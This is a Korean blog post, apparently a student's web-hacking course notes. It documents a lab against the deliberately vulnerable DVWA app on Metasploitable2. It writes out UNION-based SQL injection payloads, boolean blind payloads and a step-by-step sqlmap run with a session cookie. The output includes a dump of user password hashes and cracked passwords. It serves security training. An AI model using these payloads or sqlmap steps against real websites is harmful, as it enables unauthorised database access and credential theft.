본문 바로가기
웹 해킹

웹 해킹 14

by 윤라경 2024. 8. 3.

[2024.08.02]

 

[SQL Injection]

 

> 사용자 출력

"select first_name,last_name from users where user_id='union select null,user()#';";

 

> 데이터베이스, 버전

"select first_name,last_name from users where user_id='union select database(),version()#';";

 

> 테이블

'and 1 = 1 union select table_schema,table_name from information_schema.tables #

 

> 필드

' and 1=1 union select table_schema,column_name from information_schema.columns where table_name='users'#

 

> 필드(데이터)

' and 1=1 union select first_name,password from dvwa.users #

' and 1=1 union select first_name,last_name,password from dvwa.users #

 

연습) 다같이 합친 상태로 출력

"select first_name,last_name from users where user_id="'and 1 = 1 union select table_schema,table_name from information_schema.tables #';";

 

> 필드(데이터)

' and 1=1 union select first_name,last_name from dvwa.users #

 

 

*sql에서 띄어쓰기는 상관없는 점 참고

 

 

 

오늘도 Security level을 low로 설정하고 시작한다

먼저 개별 쿼리문을 작성하여 사용자 출력부터 시도한다

성공하게 된다면 화면과 같이 출력이 된다

 

 

이번에는 데이터베이스와 버전을 출력했다

 

 

확인을 위해 metasploitable2에서 mysql의 버전을 확인하게 되면,

5.0.51a로 같은 버전인 것을 확인할 수 있다

 

 

마지막으로 테이블을 출력해 봤다

테이블 쿼리문에서는 information_schema가 db 정보, tables가 테이블이다

 

 

현재 출력된 걸 살펴보면 schema라는 전체적인 데이터베이스 안에

데이터베이스 정보와 테이블이 출력되는 것이다

 

 

두 개 이상의 필드가 출력되지 않아 컬럼 수를 줄이고 두 개의 필드만 출력하여 확인이 가능하다

 

 

[SQL Injection(Blind)]

 

' or '1' #

' or '0'='0' #

' or '1'='1' #

 

> 사용 도구: sqlmap

 

> DBMS 정보

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"

 

ex)

[21:34:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8, PHP
back-end DBMS: MySQL >= 5.0.12
[21:34:53] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

 

 

> Database 정보 추출(현재 DB 알아내기)

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" --current-db

 

ex)

[21:37:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 5.0.12
[21:37:30] [INFO] fetching current database
current database: 'dvwa'
[21:37:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

 

 

> 필드 정보 추출

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" -D dvwa --tables

 

ex)

[21:38:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[21:38:12] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[21:38:12] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

 

 

> 필드 정보 추출

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" -D dvwa -T users --columns

 

ex)

[21:39:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[21:39:48] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

[21:39:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

 

 

> Data 덤프

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" -D dvwa -T users -C user_id,password --dump

 

ex)

Database: dvwa
Table: users
[5 entries]
+------------+-----------+---------+---------------------------------------------+
| first_name | last_name | user_id | password                                    |
+------------+-----------+---------+---------------------------------------------+
| admin      | admin     | 1       | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| Gordon     | Brown     | 2       | e99a18c428cb38d5f260853678922e03 (abc123)   |
| Hack       | Me        | 3       | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| Pablo      | Picasso   | 4       | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| Bob        | Smith     | 5       | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+------------+-----------+---------+---------------------------------------------+

[21:43:40] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.10.52/dump/dvwa/users.csv'
[21:43:40] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

 

 

 

SQL Injection Blind에서도 먼저 처음의 시작부터

마지막의 쿼리문까지 가능한 것을 모두 출력하는 시간을 가졌다

 

 

일반 SQL Injection과 다를 게 없어 보이지만 Blind에서 사용하는 sqlmap으로 실습을 진행한다

해당 화면과 같이 입력한 후 정상 작동 여부를 확인한다

 

 

정상적으로 작동하는 걸 확인했다면 firefox로 SQL Injection(Blind)의 페이지로 접속한다

 

 

그 다음 Burf Suite에 발생한 기록을 확인하게 되면 Cookie 정보가 나타난다

Cookie 부분의 줄을 드래그하여 복사한 후

 

 

처음의 명령어에 추가하여 이번에는 데이터베이스 정보를 추출하려고 한다

현재 데이터베이스 정보를 알아내기 위함으로 --current-db의 옵션으로 실행한다

 

 

나오는 건 전부 Y로 선택해 주고, 결과가 나오면 종료된다

화면과 같은 현재의 데이터베이스 정보를 알 수 있다

 

 

데이터베이스 정보를 추출했으므로 다음은 테이블 정보를 추출하게 된다

이전의 명령어에서 옵션을 지우고 -D dvwa --tables의 명령어를 입력하게 되면

 

 

현재의 테이블 정보를 확인할 수 있다

guestbook과 users가 있는 것을 알 수 있다

 

 

metasploitable2로 가서 확인 시에도 같은 테이블이다

 

 

테이블 정보까지 알아냈다면 다음 순서는 필드 정보 추출의 차례다

-T users --columns 옵션을 통해 실행

 

 

이렇게 필드 정보까지 추출하여 확인할 수 있다

 

 

마지막으로 user_id와 password에 대한 Data 덤프를 알아낸다

 

 

수많은 식별을 통해 얻고자 하는 Data 덤프가 나오게 되면서 성공적으로 마무리되었다

SQL Injection의 경우 무작정 순서도 없이 진행하는 게 아니라 이런 식으로

순서를 통하여 얻고자 하는 정보를 얻을 수 있는 취약점이다

 

 

 

강의 소감

이번 시간의 경우 SQL Injection의 Blind가 인상 깊었다

sqlmap을 통한 실습을 진행했는데 초반부에 웹 페이지 접속으로 하는 부분을 놓쳐

따라 가지 못하다가 마지막에 직접 페이지에 접속하여 해당 url로 진행하는 것을 알게 되었다

먼저 firefox로 SQL Injection(Blind) 페이지에 들어가게 되면 Burf Suite에 해당 기록이 뜨게 되고

그 기록을 선택하면 Cookie 정보를 얻을 수 있으며, 그 Cookie로 나머지 실습을 진행할 수 있게 됐다

또한, 막무가내로 순서도 없이 진행하기보다 정해진 순서에 따라 얻고자 하는 정보들을

얻어 가면서 진행하는 단계별 실행의 취약점으로 훨씬 이해하기 편했다

'웹 해킹' 카테고리의 다른 글

웹 해킹 16  (0) 2024.08.06
웹 해킹 15  (0) 2024.08.06
웹 해킹 13  (0) 2024.08.02
웹 해킹 12  (0) 2024.07.31
웹 해킹 11  (0) 2024.07.30